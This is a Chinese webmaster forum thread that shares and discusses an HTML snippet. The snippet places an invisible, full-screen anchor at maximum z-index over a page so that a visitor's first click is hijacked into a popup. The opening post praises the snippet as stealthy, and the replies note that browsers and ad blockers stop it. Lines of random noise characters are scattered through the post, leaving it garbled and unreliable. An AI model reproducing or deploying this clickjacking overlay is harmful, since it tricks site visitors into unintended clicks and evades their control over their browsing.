一切昭然天下了。
" T5 Y( Y  {: j. }代码产生的直接效果如下
  S7 S* z# i# j7 N( o# R8 s1 O
<a  target="_blank" style="position: absolute; z-index: 2147483647; display: block; top: 0px; left: 0px; cursor: default; opacity: 0;"><div style="background-color: rgb(255, 255, 255); width: 1903px; height: 650px;"></div></a>
. G$ e! _; W  n( ]2 Y" T0 Q8 s, l' ~
8 N; L& p) }$ _1 P很隐秘的一段好代码
7 B" U5 \# i% J

Smythe_Bob

标记一下 好象看不懂还

网赚高富帅

不清楚国内，莫非做taobao不可以直接用弹窗吗？

booday

没用 360 搜狗 直接就拦截了，chrome可以弹出来

阿百川

adblock 完美屏蔽

PHP

没研究全，期待跟多解析。

echo

代码看不懂，不过觉得挺好用的……自动弹窗

cissss

没懂
' H( i0 L( N  s0 n, \
: a1 H: r* t, I1，首次访问有个弹窗，但是被chrome给拦截了

2，劫持了第一次点击
1 ~' b! v8 K. I; q
3 T) |! D( ?0 d$ L) h" t1 |! J3，CS了一下unionsky

然后？

小狠

cissss 发表于 2013-12-18 01:24
没懂
! X0 A1 J, l; p/ h/ m. ?
1，首次访问有个弹窗，但是被chrome给拦截了

懂的人一看就懂 不懂的人怎么看就不懂

1990a

这个CJ怎么搞的这么复杂...

cissss

小狠 发表于 2013-12-18 03:49
懂的人一看就懂 不懂的人怎么看就不懂

1 Q5 F4 Q4 ^7 G5 i5 Q我确实不懂你发这贴的意思。 可以理解为装逼么？

bowen

不就是个弹窗代码吗？

babe_lucky

我表示看不懂

cnnova

占位，慢慢领会啥意思